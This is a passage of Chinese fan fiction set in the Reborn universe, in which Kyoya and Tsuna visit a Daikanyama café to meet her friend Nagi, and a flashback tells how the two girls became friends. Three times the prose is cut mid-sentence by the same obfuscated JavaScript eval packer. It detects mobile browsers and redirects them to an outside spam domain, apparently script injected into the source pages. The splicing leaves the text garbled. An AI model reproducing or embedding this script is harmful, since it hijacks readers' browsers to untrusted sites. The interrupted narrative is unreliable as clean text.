“那么第三项任务是什么呢,尊敬的Reborn阁下?” “不是Reborn,是柏林哦。” 他眨了眨眼,抖了一下手上的羊皮纸,趴伏在帽檐上的变色龙列恩忽然爬到他手中,变成了一支鹅毛笔。 鹅毛笔落在纸上,传出一阵“唰唰”的轻响,Reborn边写边道:“三。” 我:“三?” Reborn:“二。” 我有些困惑地拧起眉。 “一。”小婴儿举起手中的羊皮纸,嘴角勾起一抹笑容,定定地望着门的位置。 “哗——” 与此同时,接待室的门被大力拉开,沢田纲吉微微弯腰,双手撑着膝盖,气喘吁吁地抬起头。 那双柔软的、下垂的,犹如草食动物一般棕色的双眼,饱含着关切与真诚,直直地闯入了我的眼中。 “京弥同学!” 大概是他路上跑得太卖力,在室内时忘记压低声音,也可能是我被自己心神不宁,听到沢田纲吉的声音,我的呼吸竟然不由自主地滞了一刻。 我忍不住想要后退,却被沙发挡住路线,于是只能勉强与他维持着对视:“怎么了?” “啊、其实也没什么……”他仿佛这才回过神,也莫名其妙地红了脸,从怀中取出一只便当盒,有些扭捏地递到茶几上。 我注意到他似乎刻意避开了我的视线。 “因为京弥同学说已经吃了一半,但是大家都很想和你分享。” 他挠了挠头,有些赧然地说:这是狱寺君新买的便当盒,还没有用过,里面装了妈妈做的天妇罗,还有山本家的鲣鱼寿司…对了,还有狱寺君自己做的沙拉。” 我有些愕然,张了张口,到底不知道说什么,只好像白痴一样,愣愣地注视着他。 “因为京弥同学最近心情好像不太好……有什么事情的话也可以和大家说的。”沢田君说着,又抬起头,再一次露出了认真而温柔的神情,“大家都会帮你的。” 18.碰瓷凤梨头 “给我四百万。”我说 沢田纲吉:“…哈?” 我诚恳地说:“实际上,因为抢占接待室的原因,我被哥哥扣了一大笔零花钱,所以很需要用钱。沢田君不是说怎么样都可以帮我吗?请给我钱。” 沢田纲吉:“……我没说那种话吧!而且就算你这么说、我也不可能拿出四百万的啦!” 思忖片刻,我低下头,发出幽幽一声叹息。 沢田纲吉:“……” 虽然他什么也没说,但是满脸都写着“你到底在失望什么啊”的无奈,看起来有点好笑。 “既然如此,我就下达给你们这次的任务吧。” Reborn抬起头,单片眼镜上闪过一道白光,由手握着列恩化作的手杖,直直指着我与沢田君,摆出了丑恶资本家的嘴脸:“一天之内在代官山赚到四百万好了。” 甚至因为沢田君没有听到我们两个刚才的对话,他还状似亲切地额外补充道: “只要一天内在代官山赚到四百万,就可以获得一百五十万的奖励金喔。” “四、四百万?!”沢田纲吉瞪大了眼,随即立刻指着Reborn叫嚷起来,“怎么可能一下子挣到那么多钱啊!就算是代官山也不可能的!” Reborn露出了神秘的微笑:“哼,我们可是黑手党喔。” 沢田君的表情更加惊恐了:“是叫我们去抢吗?!” “我可没这么说哦。” 沢田纲吉:“不,你就是这个意思吧!” “总之,不挣到四百五就别回并盛了,永远在代官山生活吧。”Reborn选择性无视了他的话,扬起可爱的笑容,“顺便一提,你们的证件都在我这里,所以如果留在代官山的话,只能按黑户来算了。” “黑、黑户……”沢田君不知道想到了什么,顿时露出了绝望的表情,整个人变成了黑白色,感觉随时要灵魂出窍了。 说实话,我觉得“变成黑户”这种说法大概率只是在恐吓沢田君,不过毕竟事关奖励金,一天之内挣四百万还是太夸张了。 “可是我的目标是一共再挣四百万……”我摸了摸下巴,用商量的语气说,“减去奖励的一百五十万,其实只需要挣到二百五十万就可以了?” Reborn爽快地说:“好啊,那就二百五十万好了。” 我:“!!!” 糟糕了,好像被骗了! 只是稍微提出减了一百五十万就立马答应了,感觉就好像去景区买纪念品时,因为提前做好了被坑的准备所以一上去就砍了半价,结果店主笑容满面地说成交了一样! 好像还是亏了啊,莫非其实应该直接打一折,说大家挣钱也不容易、所以目标就定成四十万,这样比较好? 我欲言又止。 仿佛看穿了我的思绪,Reborn将羊皮纸卷起来插进口袋,黑漆漆的双眼注视着我: “时间不多了,还不出发吗?” - 就这样,原本要单独前往代官山与友人会面的我,莫名其妙地接取了“一天之内赚取二百五十万円”的任务,并获得了一个只有吐槽能力一流的废柴同伴。 由于路上耗费的时间也有两个多小时,我干脆放弃了回家换衣服的想法,所幸现在刚好是下午一点,算好时间,抵达代官山的时间差不多也是正常的放学时间,所以不用担心被当成逃课的学生惹来麻烦。 沢田纲吉瞪圆了眼睛,相当捧场地惊叹道:“好周到!” 我还没来得及发表一番心得体悟,他便又想到什么似的,小声说:“不过居然连逃学都表现得这么熟练,该说不愧是京弥同学吗……” “什么叫逃学啊,太失礼了,沢田君。”我皱起眉,不满地看向他,认真纠正,“这次行动成功之后就能获得部活资金,这可不是为了一己私欲,是事关学生会乃至整座学校发展的重大活动!” 沢田君似乎被唬住了:“是、是吗…?!” “当然是这样了。” 我义正言辞地回答。 直到沢田君半推半就地和我坐上了新干线,满脸复杂地盯着窗外思索了半个多小时,才终于意识到问题。 “所以我们为什么要去代官山啊?” 我理所当然地回答道:“因为要去那里见一位朋友。” “……”沢田纲吉露出思索的模样。 他的脸色从沉思到困惑皱眉,再到恍然大悟,最后变成无语谴责,期间也才过去两秒钟。 “所以还是因为自己想翘课啊!” 他差点从座位上跳起来:“嘴上说着为了部活资金什么的,我差点信了——真是的,本来车票的钱是我想用来买漫画的……” 这个人真的只有在吐槽这方面很敏锐啊!本来以为忽悠过去了的! 但是,身为云雀家的人,我在做坏事上的潜力是无限的。 于是,我一把捂住他的嘴,凑近他的耳朵,压低声音,煞有介事地警告他: “小点声喔沢田君,万一被别人听到可是要出麻烦的,搞不好会传到风纪委员耳朵里,被云雀恭弥追杀呢。” “!” 沢田君顿时闭上嘴。 因为震惊,那双有些下垂的圆眼略微睁大,一眨不眨地看向我,脸颊与耳朵也以肉眼可见的速度涨得通红。也许是手捂着他不太舒服,在我的注视下,他红着脸,轻轻点了点头。 “……” 我感觉到掌心被某种东西擦过,触感干燥而柔软,不由一愣,随后被烫到似的飞快收回手。 大概是我收回手掌的速度太快,沢田纲吉没有反应过来,小狗一样亮晶晶的双眼还怔怔地注视着我。 说实话,时下更流行狱寺和山本君那样帅气而具有攻击性的长相,就连恶名远扬的哥哥也有不少女孩子爱慕,而沢田君显然不是受女孩子欢迎的类型。 奇怪的是,对于这样明显超过社交距离的接触,我并没有觉得反感。 我若无其事地把鬓边的碎发别到耳后,假装什么都没有发生,低头看了眼时间: “哎呀,快到了呢。” 沢田纲吉略微沉默了一下。我猜他大概是想说点什么的,不过此时气氛实在有些微妙,因此他也只好假装忘记刚才的尴尬: “是,是啊。” - 下车的时候恰好四点,天仍然蓝得透彻,但阳光已经微微向西,没那么炽热了。 街道两边种满了葱郁的香樟,微风一吹,便会随着沙沙声摇曳。 我拉着沢田君躲到树荫下,借着阴影遮挡,在手机上飞快地敲下一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275109|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字: 【我到了。还是之前的甜品店吗?】 对方几乎是立刻回复。 Nagi:【嗯】 Nagi:【我给你点了抹茶千层和冰淇淋苏打】 打飞大魔王:【[喜欢]】 打飞大魔王:【我还带了朋友来……你介意吗?】 又是正在输入中。 我拉住沢田纲吉的衣袖,低头盯着手机,耐心等待着,终于看到凪发来的消息。 Nagi:【没关系,朋友さん要吃些什么呢?】 哇,好问题。虽然也认识有段时间了,不过我也不确定他喜欢什么甜食和饮料……倒是午休的时候,如果Reborn或者蓝波偷偷吃了他的汉堡肉他就会很生气,不过从这一点上也没法推断什么吧? 我正琢磨着要不要等他到店自己点,忽然感觉到手腕传来一股拉力,我被迫止住脚步。 与此同时,沢田纲吉的声音从后方传来:“京弥同学,小心…!” 我抬起头,发现自己险些撞到人,连忙后退一步:“抱歉。” 这是个有些瘦削的少年,嘴边挂着浅浅的笑容,穿着单薄的衬衫黑裤,正不动声色地打量着我。 我皱了皱眉。 “啊,没关系的。”他对我笑了一下,余光扫过沢田纲吉,深蓝的双眼似乎眯了眯,“不过下次可要注意些啊。” 说完,他便迈着不疾不徐的步子走远了。 我忍不住回头,盯着他如同凤梨般诡异的发型,目送了好一会儿,才说:“好奇怪的人。” 沢田纲吉“欸”了一声,有些诧异地看着我:“京弥同学也有这种感觉吗?” “什么?” “其实也没什么啦。”他不太好意思地挠了挠脸,“只是那个人给我的感觉很奇怪…总觉得笑容不太真心,似乎还有些危险,什么的……嘛,也可能是我的错觉啦。” “喔,是这个层面吗?”我说,“我是觉得他审美有些奇怪,那个发型一般人想不到的吧?搞不好是什么中二病,为了在学校里特立独行才照着水果理了发。” 沢田纲吉:“……” 他再一次露出了无力吐槽的表情:“怎么会有人为了这种理由去理凤梨的发型啊。” 我:“这可不好说喔。这年头的中二病还会在学校里建立自己的政.权,和三○演义一样想争霸天下呢,相比起来理发已经是非常保守的选择了。” “即使是这种情况也要含沙射影吗……不,仔细一想你和云雀学长两个人都是一样的啊!话说你们两个的关系是三国○双里的袁○初和袁○路吗?!” 呜哇,把我和云雀恭弥类比成袁○初和袁○路吗?沢田君吐槽起来倒是意外的博学,这家伙难不成真是天才? 当然,想是这么想,我绝对不会赞成的,毕竟这两个人都没什么好结局,是绝对不能套在自己身上的。 我顿了顿,随后踮起脚,指了指远处,侧过头看他: “就是那家墨绿色门头的甜品店了。沢田君想吃点什么?” “又假装没听见……算了,我随便啦。” 我低头打字:“那就试试新品好了,芥末松饼和洋葱拿铁——据说是只在代官山出售的限定款喔。” 沢田纲吉:“…欸!?” 19.酸酸的 当然,最后的最后,沢田君还是拒绝了芥末松饼和洋葱拿铁。 “你一开始就是想单独来见朋友的吧?”他好像有些不自在,伸出手指挠了挠脸,对着我牵起一个笑: “如果是不惜翘课乘新干线也要来见面的人,对京弥同学来说一定很重要,我想还是不要打扰你们比较好。” 他说这句话时正站在甜品店门口的樟树下,春季下午,阳光明媚,温暖的日光穿过树叶,在他发间留下细碎斑驳的光影,一路洒进眼里,折射出忽明忽暗的光。 我余光里已经看见凪的身影,心里略微安定下来,于是郑重地看向沢田君,同他解释:“我和凪提前说过,会和朋友一起来,她也是愿意的。” 沢田纲吉摇了摇头。 “虽然是因为Reborn的要求才一起来的,但一天挣到二百五十万怎么看都太离谱了,无论如何都是不可能做到的……所以京弥同学,还是不要在乎他的话了,按照原定计划做自己的事情比较好…而且,毕竟对方是你的朋友,我不在的话你们应该会更自在…吧?” 我微微皱起眉,盯着他,半晌没有说话。 底气不足的沢田君:“怎,怎么了?” “又变成最开始的败犬模样了喔,无论是耳朵还是尾巴都垂下来了。”我忍不住说。 停顿了片刻,我又耐心地问:“如果按照沢田君说的,那么在这期间,你又要去哪里呢?难不成这段时间就在甜品店外面站着?” “……那也太可怜了!”他吐槽道,“我的话,应该会去书屋看漫画什么的…” 在我的目光中,他的声音逐渐微弱下去。 大概是脱离了熟悉的环境,而总是很吵闹的山本、狱寺君也不在身边,沢田纲吉一路上始终表现得有些心事重重,现在看来并不是错觉。 因为Reborn提出了很难达到的要求,所以从一开始他就没有打算完成,因此一直视自己为多余的人么? 果然和最初遇见他时那副样子很像……话说回来,他居然连“败犬”的形容都没有反驳啊。 为什么会这样呢?同样是朋友,在山本狱寺面前明明一直表现得那么自然,可是与我在一起时,却总是垂头丧气一般——是我让他不安了吗? 想到这里,心里便如失重一般,生出一种没由来的无所适从。我放缓了呼吸,极力将这种陌生的情绪从内心甩开,踟蹰片刻,还是伸出手,不轻不重地在他脸上掐了一下。 “一个人去书屋看漫画也没有很幸福吧。”我说,“你一路上都心不在焉的,难道就是在想这种事情?” 沢田“哇”的一下捂住脸颊,又露出了看起来很好欺负的表情。他似乎有些羞愤,又有点不可置信地看着我,微微抬高音量,反驳道: “可是京弥同学和重要的朋友见面,带上我这种人也没必要吧!” “……什么叫‘你这种人’啊?” 我也有些生气了,扬起眉,几乎是想也没想,便一把抓住他的手腕,冷静地与他对视,质问道: “沢田君认为自己是哪种人?和重要的朋友见面为什么不能带上你?” 他好像被吓到了,张了张嘴,吐出一个干涩的字节:“我……” “就算二百五十万円的目标看上去很困难,努力一下也可以做到,当初被持田学长下战书的沢田君不就是这样获胜的吗?沢田君自己都忘记了吗?” 想说的话不自觉便到了嘴边,我一眨不眨地盯着他,放缓了语气: “而且我早就说过了,沢田君是我的朋友。这一次也只不过是因为学生会的任务,要提前把你介绍给另外的朋友认识。沢田君,为什么这样妄自菲薄呢?” 他沉默着,不知在想些什么。 我干脆拉着他的手腕,将垂着尾巴般的沢田君拽向甜品店中,一边推开半掩的玻璃门,一边强硬地说:“就算没能完成任务得到部活资金,我也想跟沢田君一起在代官山好好游玩,所以请和我一起去。” 隔着薄薄的衬衫,我感觉到他手腕上传来的温度——真是不可思议,即使是只是这样的接触,也能感觉到他的体温比我要高,这个年纪的男孩子,都是这样像小火炉的吗? 沢田纲吉仍然垂着眼,但我感觉手上的拉力小了不少。他一言不发,最终还是顺从地卸下力道,跟着我走了进去。 挂在玻璃门上的风铃发出叮铃铃的声音,倚在前台翻看杂志的店长小姐听到声音抬起头,看到我与沢田时愣了一下,随后扬起笑脸。 “欢迎光临。下午好,云雀ちゃん——唔,这是和男朋友吵架了吗?” “才没有吵架,我和沢田君只是朋友啦。”我说。 店长小姐“哎呀”了一声,瞅了两眼沢田君,又笑了一下,没有再问。她指了指最靠里的卡座:“凪ちゃん就在那里等你哦。” “谢谢。” 我于是拉着沢田向店内走去。 “京弥同学…”沢田君似乎终于缓过神来。他略微使了使劲,挣脱了我的手,仍然有些不自在,但还是和往常一般,带着包容与些许无可奈何地看着我,小声道,“这种时候就不用再抓着我了吧?” “……” 的确是这样来着。 因为刚才短暂的有点上头,所以一直到现在我都没有放手。但在沢田纲吉提醒之后我才收回手,会不会表现得太明显了点? 微妙地停顿了片刻,我转过头,假装严肃地发表免责声明:“因为沢田君总是满脸‘想要逃跑’的模样,我是怕你真的跑掉才这样做的。” “都进店里了怎么可能跑得掉啦!”他下意识地吐槽了一下,随后不知想起什么,忽然脸颊浮上红晕,看了眼四周,“——总、总之,京弥同学的朋友不是还在等着吗?快过去吧!” 虽然沢田君岔开话题的手段相当拙劣,但因为刚才那场小小的冲突,其实我也有点尴尬,于是欣然决定彼此放过,走向甜品店角落的卡座。 凪正低着头,用小匙搅着杯中的巧克力,看起来百无聊赖。 算下时间,现在刚好差不多是放学的时间,不过她并没有像寻常放课后的国中生那样穿着校服,一身白裙,外面套着浅色格子短衬衫,看起来像认真打扮过。 远远看到她这样,我的心情就不自觉雀跃起来,弯起眼睛:“凪!” 她寻声回头,惊喜地睁大眼,也笑起来,冲我招手:“京弥…!” 我点了点头,而后让出一步,向她介绍身旁的沢田君: “这就是我说的那位朋友,沢田君。” 沢田纲吉似乎已经完全放下了刚才的芥蒂,有些紧张地挺直了身子,仿佛新生入学后例行的每人自我介绍一般,略带僵硬地说:“你好,我是沢田纲吉……” 由于我提前和她发了消息,凪对于沢田纲吉的出现接受良好。只不过她也并非外向健谈的性格,因而只是有些腼腆地对着沢田君笑了一笑: “…我叫凪。” 正常来说,自我介绍时都应该是连名带姓的,但是凪的家庭情况的确有些复杂。无论是已经不在身边的生父还是母亲与继父,对她都只有冷漠与疏远,加之父母都是有名气的人物,报出姓氏反而容易引起不必要的麻烦,因而在这种情况下,她通常只说自己的名字。 但正是因为这一点,更多同龄人都会好奇并追问凪的姓氏,如果得不到想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282046|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的答案,便会对她略有微词;可这种人若是真的得知她父母的身份,对她的态度只会变得殷勤,更加令人不适。 就像陷入恶性循环一样,凪与人交往时总受到家人或直接或间接的负面影响,让她难以正常社交;越是如此,她的父母就越认为她孤僻,更加对凪漠不关心,影响着她的心态。 ……不过,我相信沢田君一定和那些人不同,这也是我愿意把他带来这里的原因之一。 我安静地注视着他。 果然,沢田纲吉听到她的介绍,只是微微一怔,随后便礼貌地对着她微笑了一下,没有对此过多置喙。 我悬着的心落了地。 依照我对他们的了解,无论是沢田君还是凪,都是温柔而心思细腻的人,他们的相性应该会不错。 最担忧的事情没有发生,我轻松不少,落座后,也强装无事地把菜单塞进沢田纲吉手中: “今天我请客,想吃什么就随便点吧,不要芥末松饼和洋葱拿铁的挑剔的沢田君。” 沢田纲吉乖乖接过菜单,刚翻了一页,听到我的话,就如同触发被动一般变成了死鱼眼:“喂,后面那句话没必要吧!芥末松饼和洋葱拿铁那种东西到底是什么人会去点啊?” 我:“嗯……做视频的探店博主?” “没有真的问你的意思啦…!”沢田纲吉从善如流地吐槽着,停顿了一下,又看向我,将菜单推回来,“还是京弥同学先点吧?” “我已经有抹茶千层和冰淇淋苏打。”我无情地拒绝,“沢田君选自己喜欢的就好。” “明明口味很正常还要给我推荐那种奇怪的东西……”他的额角挂出三道黑线,翻看着菜单,似乎暗自纠结了一会儿,才跟走近的服务员要了一份香蕉可丽饼与草莓奶昔。 呜哇,沢田君的口味意外的很甜啊。还以为这个年纪的男孩子都会因为太在意面子而点一些看起来很商务(?)的东西,比如美式和提拉米苏…… 反正每次周末拉着哥哥去买甜品,他点的都是那些带苦味的东西,毫无反差感,真是一点都不可爱。 这样想着,在沢田君与服务员交流具体口味时,我不由托腮偏头,明目张胆地观察起他来。 大概是因为之前经常被人叫做“废柴纲”,他在与陌生人社交时总是显得不太自信,一旦与人对视就会飞快移开视线,和吐槽人的时候截然不同啊。 ……明明刚才闹别扭的时候不是这样的。 “那么就要正常甜度的就好,麻烦您了。” 与店员结束最后的交流,一转过头,沢田纲吉就被吓了一跳:“——京、京弥同学?!一直盯着我做什么?” 我神情自若地收回视线,实则掩饰尴尬地拨弄起鬓发。 “我还以为你会选择巧克力或者抹茶那类的东西呢,这家店的提拉米苏可是很不错的,凪每次来都会点喔。” “是这样的…”凪的脸颊上浮起淡淡的红晕,对着我有些腼腆地笑了一下,露出回忆的神色,“我和京弥最开始,也是因为提拉米苏认识的。” “啊,说起来代官山距离并盛也有一段距离,如果不是特意过来,应该不太有机会遇到吧。”沢田君思索了一下,眼中流露出几分好奇,有点犹豫着问,“那么凪さん和京弥同学是怎么相识的呢?——啊,没有别的意思,如果不方便回答也没关系的…!” 他对待其他人还真是礼貌…… 我忍不住眨眨眼,看向坐在对面的凪。她略微抿唇,思索了一下,对着我轻轻点了点头。 我于是垂下眼,陷入回忆,慢吞吞地说:“我和凪么……与沢田君那次相比,可以说是完全相反的情况呢。” 20.她与她 “带这孩子来文京主要是为了接受治疗,但是东大病院实在是太忙了,急诊结束的时间也不能确定,我们不得不提前预留一整个下午的时间等待,请您见谅。” “没关系的,云雀女士。”主任微微点头,对着她笑了笑,“令爱非常出色,上周的数学竞赛还为誠之小赢得了全区第一,我们很放心她的成绩,何况儿童时期的治疗至关重要,我们衷心祝愿她能早日康复。” 穿着白色西服的母亲微笑颔首:“感谢您的体谅——京弥,还不道谢么?” 年幼的她立刻低头鞠了一躬,抬起头,认真道:“谢谢您,小林老师。” 主任摆了摆手,俯身将打印好的讲义递给她:“这周的学习任务不重,知识点都在讲义里,云雀同学回去稍微复习一下就好,不用有压力。” “我知道了。” 和小林老师道别之后,母亲揽着她,又在手机上确认了一遍,轻轻叹了口气。 “今天复查还需要抽血,真是辛苦你了,京弥。”裕子用有些难过的眼神望着她,又解释说,“最多半年我就需要回美国,之后可能很难有时间回家陪你和哥哥,所以要趁着这段时间,尽量多做一些检查。” 京弥点点头:“我知道的,妈妈是为我好。” “……”母亲又叹了口气。 她伸手轻轻抚摸着她的脑袋,似乎想说什么,最终还是止住了。 也许云雀的孩子都是这样,独立是不需要学习的天赋。即使京弥还是满脸稚气,却已经学会了得体地应对所有人,对父母也很少有依赖的情绪。 …不过也正常。由于工作原因,兄妹上了小学以后,云雀夫妇就和之前一样,不管不顾地往全球各地飞去处理工作。家里大小琐事都请过专业人士负责,即使主人不在,也能将两个孩子照顾得很好。 比起恭弥,京弥对她虽然尊敬有余亲密不足,但至少表面上看得过去……啧,想想真是来气,云雀恭弥那小子,还上小学就想着称王称霸,将来还不知道要闹出多少麻烦。 这样一想,就觉得眼前的女儿更加可亲了——比起一身反骨钟爱打架的哥哥,她听话懂事、成绩优异,只是身体不太健康,但自己又从来不吭声,更叫人心里不好受了。 又在心里长吁短叹了好一阵,云雀裕子女士勉强挤出温柔的笑脸,不太熟练地哄着孩子:“昨天哥哥还给我打了电话,问你的情况呢。他说商业街新开了一家甜品店,里面的提拉米苏味道很不错,等你看病回来,要带你去吃呢。” 京弥歪了歪脑袋,敏锐地指出了问题:“恭弥怎么可能去店里吃甜品啊,肯定是草壁学长给他买的。” “……” 云雀女士完全不知道草壁学长是谁,面对这种情况,也没办法像对待儿子一样,给体弱多病的女儿暴栗,只好无视她的回答,状似惊喜地指着不远处: “哎呀,这里也有一家甜品店呢!京弥想吃什么,进去看看吧?我们打包放进车里,等抽完血再吃。” 京弥其实没什么胃口,但这毕竟是来自母亲的好意。她接过母亲递来的钱包,认真地道了谢。 云雀女士:“那么我在车里等你。慢慢挑,多买一些也没关系,我们预约的时间在下午三点半,还有一段时间。” 京弥点了点头。 店门口悬挂着的风铃响起来,柜台后的墙面上挂着时钟,她抬起头,此时正是中午十二点。 这个时间点没什么生意,柜台前的店员正百无聊赖地玩着手机,听见风铃声才挂起营业的笑容,对她说:“欢迎光临,喜欢什么可以随意挑选喔。” 因为甜品店坐落在小学附近,所以柜台正中摆的都是会吸引小朋友和年轻家长的品类,大多都是草莓或者纯奶油的口味,京弥看了眼便收回了视线。 她想起刚才妈妈说过的话,想起平时只喜欢苦味甜品的哥哥,抬头望向店员。 “请问还有提拉米苏吗?”她问。 “哎呀,提拉米苏吗……” 店员姐姐皱起眉,对着她歉意地笑了笑:“抱歉,上午的最后一份已经卖给那边的小客人了。” 京弥顺着她的视线看过去,发现是一位穿着誠之小校服的同龄女孩。她留着深紫色的长发,发尾修剪得不太整齐,身影有些瑟缩,不知怎么的,看起来有些眼熟。 不出意外,现在应该是午休时间,未经允许,学生是不可以擅自出校门的吧?就算离校也应该有监护人接送……这样子没问题吗? 店员小姐没有注意到她的心不在焉,还在友善推荐:“巧克力口味的话,我们这里销量比较好的还有萨赫蛋糕和舒芙蕾,你需要吗?” “那么请给我一份打包的巧克力舒芙蕾,谢谢。”京弥飞快地说。 支付完相应的金额后,她踌躇了一下,还是决定多管闲事一次,走向了店里唯一的客人。 那个女孩的桌面上摆着一份提拉米苏、一盘布丁,以及一杯牛奶,书包安静地放在一旁,面前是一本读到一半的精装书,阳光从一侧的玻璃窗外洒下来,落到书眉上,是夏目漱石的《我是猫》。 贸然靠近也许会吓到对方,京弥担心她遇到什么麻烦,在原地观察了片刻,却发现那女孩虽然低着头,却始终没有翻过一次书页,微微耸着肩,情绪似乎很低落。 这种情况搭话可能有些冒犯,只是她的状况看着实在不太好……算了,果然还是没办法置之不理。 下定了决心,她轻手轻脚地走到对方身旁,小声道: “请问——” 坐在卡座里的女孩似乎吓了一跳,猛地抬起头,露出了发红的双眼。 她的声音有些沙哑,但还是努力地做出若无其事地样子:“什么……?” 京弥微微一怔。不着痕迹地打量了一下自发女孩,她有些不确定地报出她的名字:“风间…凪?” 对方也愣住了。 只是很快,风间凪便反应过来,拿起纸巾胡乱擦了一下眼角,看着她,略微回忆了一下,才有些慌乱的和京弥打起招呼:“云,云雀同学。” “……” 凪的羞怯内向不必多说,只是京弥那时也还年幼,还没有学会在这种情况自然地与人正常交往,因此,在一段微妙的沉默后,她只能勉强开口,不太熟练地问: “我可以坐在这里吗?” “啊,当然。”凪也有些局促地回答。 她先是将书包往里推了推,自己也向那边挤了挤,随后才意识到对面是空位,京弥完全可以坐在那里,于是抿了抿唇,低下头。 京弥状似未察,欣然坐在了凪空出的位置上,微笑着对她道了一声谢。 好在卡座的空间够大,京弥与凪又都是小学生,即使加上书包,座位也还很宽敞。 “因为下午复检,所以打算来甜品店打包提拉米苏过去的。”京弥说,“没想到最后一份在你这里。味道怎么样呢?” 凪几乎没有像这样与同龄孩子有过正常的交流,面对京弥的提问,她几乎是立刻红了脸,磕巴了一下,才说:“味道…味道很好,不是很甜。” “是吗。我哥哥也很喜欢这种口味的甜品,说不定你和他很有共同话题呢。” 京弥似乎想到什么一样,不自觉露出了浅浅的微笑: “不过他从来不会自己去买,可能是觉得有损自己的威风——说起来,风间同学,这个时候来甜品店,是要在这里解决午餐吗?” “……”凪沉默了稍许,随后慢慢点了点头。 在京弥的注视下,她忽然又垂下了眼。 随后,凪声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296574|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些低落地开了口:“爸爸从大阪回来,想和我见面,所以拜托妈妈和学校请了假,约在了这里。” 京弥从只言片语中敏锐地察觉到了她父母疏离的关系,因此没有冒昧打断,只是安静地等候着她的下文。 “和爸爸相见了大概十分钟,他接到现在儿子的电话,于是和我道歉后就离开了。” 凪说:“但是妈妈以‘要和一直在外地的父亲见面’为理由为我请了假,所以我不能回学校。” 她的解释很含蓄。但京弥在某些方面有着超乎寻常的洞察力,因此她几乎一眼就看出了凪的困境:如果立刻回到学校,几乎是和所有人宣告自己的家庭关系,而班上其实早就有“风间同学与家人关系冷淡”的传言。 对于心智成熟些的青少年来说,他人的议论也许可以视作过眼云烟,但对于八九岁的儿童来说,这已经是极为重要的、关乎自尊的事情了。 京弥当然也没有问她为什么不回家。也许凪的住址离学校很远,也许她没有钥匙,也许她母亲并不愿意看到她在这时候回家。 因此,她只是靠近了凪,睁大双眼,竭尽全力地用表情传递着自己的真诚与认真。 “虽然可能有点冒昧,但是我下午准备去医院…医院附近有寿司店和书店,我家的公寓也在那里。一个人太孤单了,所以,可以邀请风间同学和我一起去吗?” 她的复检可能会耗费一个下午的时间,但如果凪愿意,她至少可以请求母亲将她载到餐厅请她吃午饭,或者是可以看漫画绘本的书屋,甚至请她去公寓做客。 至少不是在这里守着甜品,寂寞地等到放学。 凪的脸一瞬间又变得通红。心脏砰砰跳动,可是除了惊讶诧异之外,她的心里竟然前所未有地萌生出一种欣喜,这真是奇怪。 鬼使神差地,她也问出了古怪的问题:“嗯。云雀同学…喜欢提拉米苏吗?” 京弥怔了一下,点点头:“嗯,喜欢。” “…那么,这一块请你吃,好吗?” 尽管医生再三叮嘱过复检抽血之前不可以进食,可是面对着凪那双饱含着期冀与胆怯的双眼,京弥最终还是答应了。 她的敏锐与细心总是在奇妙的时刻发挥着作用,例如她能感受到,老师隐隐的奉承、母亲的内疚,以及此时此刻,凪深切的寂寞与期盼。 她最终与凪成为了朋友。 不说在文京区,誠之小在整个东京的排名也极为靠前,校风算得上优良。但即使明面上的霸凌不存在,隐性的排挤与孤立却很难忽视。因为京弥大部分时间都要请假去医院,在学校里的时间比别人少得多,所以对于这种情况,她也只是有所察觉,感触并不深。 后来与凪熟识了,她才对此有了更深的体悟。无论是课堂分组或是体育小测,交换礼物还是便当分享,总有那么几个人是可有可无的……而她当然不可能放任这种事情发生。 所幸小学的放学时间很早,如果坚持要等到放学再去医院也并无不可。母亲对此并无置喙,甚至欣慰于京弥交到了新的朋友,于是她便将更多的时间花费在与凪的相处上。 她费尽心思地想抹消掉凪的孤单,凪也会在她留院观察时每天探望,有很长一段时间,母亲都会感叹,说京弥和哥哥都没那么亲近呢。 “…怎么拿哥哥和凪作比较呀?”她半躺在病床上,小口吃着凪带来的提拉米苏,有些不满地抗议道,“哥哥连电话都只打给妈妈不打给我,凪ちゃん却每天都会来。我当然和她更亲近了!” 母亲于是只能笑着附和。 以至于后来与凪的约定、每个月定期从并盛跑到代官山造访她,偷偷存钱准备履行自己的承诺,甚至于每年生日许愿也会贪心地附带一句“希望凪幸福”……也都是顺理成章的事情了。 21.同居体验卡 “原来还有这种事情啊……”沢田纲吉忍不住感叹着,偷偷看了眼身旁的京弥。 说实话,凪的大部分经历,他都能够感同身受。 父亲早早消失,妈妈性格又有些脱线,可他自己又胆小软弱,无论是学习还是运动都不擅长,到后来大家甚至给他起了“废柴纲”的绰号。从小生活在这样的环境里,他本来已经做好了永远无人问津的准备…却能在某一天能遇到像京弥同学那样、温柔而勇敢的朋友,这种情况,无论是谁都会感到庆幸的吧? 凪露出了有些羞涩的、浅淡的笑容:“是的。所以京弥能来见我,我很开心。” 